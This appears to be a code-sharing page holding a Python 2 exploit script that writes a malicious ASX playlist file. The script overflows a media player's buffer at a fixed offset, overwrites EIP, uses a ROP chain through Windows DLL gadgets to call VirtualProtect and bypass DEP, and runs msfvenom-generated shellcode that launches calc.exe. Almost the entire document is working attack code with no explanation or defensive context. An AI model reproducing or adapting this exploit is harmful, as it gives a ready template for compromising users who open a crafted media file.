扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 |
import struct,sys head ='''<ASX version="3.0"> <Entry> <REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_''' #offset 17375 junk = "A" *17375 #0x1003df8e #0x774e1035 EIP="\x36\x10\x4e\x77" adjust="A" *4 def create_rop_chain(): rop_gadgets = [ 0x73dd5dce,# POP EAX # RETN [MFC42.DLL] 0x5d091368,# ptr to &VirtualProtect() [IAT COMCTL32.dll] 0x7608708e,# MOV EAX,DWORD PTR DS:[EAX] # RETN [MSVCP60.dll] 0x73dd40f1,# XCHG EAX,ESI # RETN [MFC42.DLL] 0x7c96feb7,# POP EBP # RETN [ntdll.dll] 0x7608fcec,# & push esp # ret[MSVCP60.dll] 0x01c395d4,# POP EAX # RETN [MSA2Mcodec00.dll] 0xfffffdff,# Value to negate, will become 0x00000201 0x77d74960,# NEG EAX # RETN [USER32.dll] 0x7ca485b4,# XCHG EAX,EBX # RETN [SHELL32.dll] 0x01d64827,# POP EAX # RETN [msvos.dll] 0xffffffc0,# Value to negate, will become 0x00000040 0x77d74960,# NEG EAX # RETN [USER32.dll] 0x71ab9b46,# XCHG EAX,EDX # RETN [WS2_32.dll] 0x1003fd11,# POP ECX # RETN [MSA2Mfilter03.dll] 0x77da1d04,# &Writable location [USER32.dll] 0x01d34691,# POP EDI # RETN [MSA2Mctn01.dll] 0x76091182,# RETN (ROP NOP) [MSVCP60.dll] 0x7d7da123,# POP EAX # RETN [WMVCore.DLL] 0x90909090,# nop 0x77195015,# PUSHAD # RETN [OLEAUT32.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() #msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -f python -b "\x00\x0a\x0d EXITFUNC=seh #badcharacters "\x00\x0a\x0d" buf ="" buf += "\xda\xd6\xba\xf5\xa4\x32\xf4\xd9\x74\x24\xf4\x5d\x31" buf += "\xc9\xb1\x31\x83\xc5\x04\x31\x55\x14\x03\x55\xe1\x46" buf += "\xc7\x08\xe1\x05\x28\xf1\xf1\x69\xa0\x14\xc0\xa9\xd6" buf += "\x5d\x72\x1a\x9c\x30\x7e\xd1\xf0\xa0\xf5\x97\xdc\xc7" buf += "\xbe\x12\x3b\xe9\x3f\x0e\x7f\x68\xc3\x4d\xac\x4a\xfa" buf += "\x9d\xa1\x8b\x3b\xc3\x48\xd9\x94\x8f\xff\xce\x91\xda" buf += "\xc3\x65\xe9\xcb\x43\x99\xb9\xea\x62\x0c\xb2\xb4\xa4" buf += "\xae\x17\xcd\xec\xa8\x74\xe8\xa7\x43\x4e\x86\x39\x82" buf += "\x9f\x67\x95\xeb\x10\x9a\xe7\x2c\x96\x45\x92\x44\xe5" buf += "\xf8\xa5\x92\x94\x26\x23\x01\x3e\xac\x93\xed\xbf\x61" buf += "\x45\x65\xb3\xce\x01\x21\xd7\xd1\xc6\x59\xe3\x5a\xe9" buf += "\x8d\x62\x18\xce\x09\x2f\xfa\x6f\x0b\x95\xad\x90\x4b" buf += "\x76\x11\x35\x07\x9a\x46\x44\x4a\xf0\x99\xda\xf0\xb6" buf += "\x9a\xe4\xfa\xe6\xf2\xd5\x71\x69\x84\xe9\x53\xce\x74" buf += "\x1b\x6e\xda\xe1\x82\x1b\xa7\x6f\x35\xf6\xeb\x89\xb6" buf += "\xf3\x93\x6d\xa6\x71\x96\x2a\x60\x69\xea\x23\x05\x8d" buf += "\x59\x43\x0c\xee\x3c\xd7\xcc\xdf\xdb\x5f\x76\x20" shellcode="S"*10+buf print "Length of shellcode is:",len(shellcode) print "Length of ropchain is:",len(rop_chain) print"Calculating Garbage:",(26000-17375-4-4-len(shellcode)-len(rop_chain)) garbage= "C" *8303 foot ='''_playlis.wma"/> </Entry> </ASX>''' payload=head+junk+EIP+adjust+rop_chain+shellcode+garbage+foot fobj = open("exploit.asx","w") fobj.write(payload) fobj.close() |
体验盒子
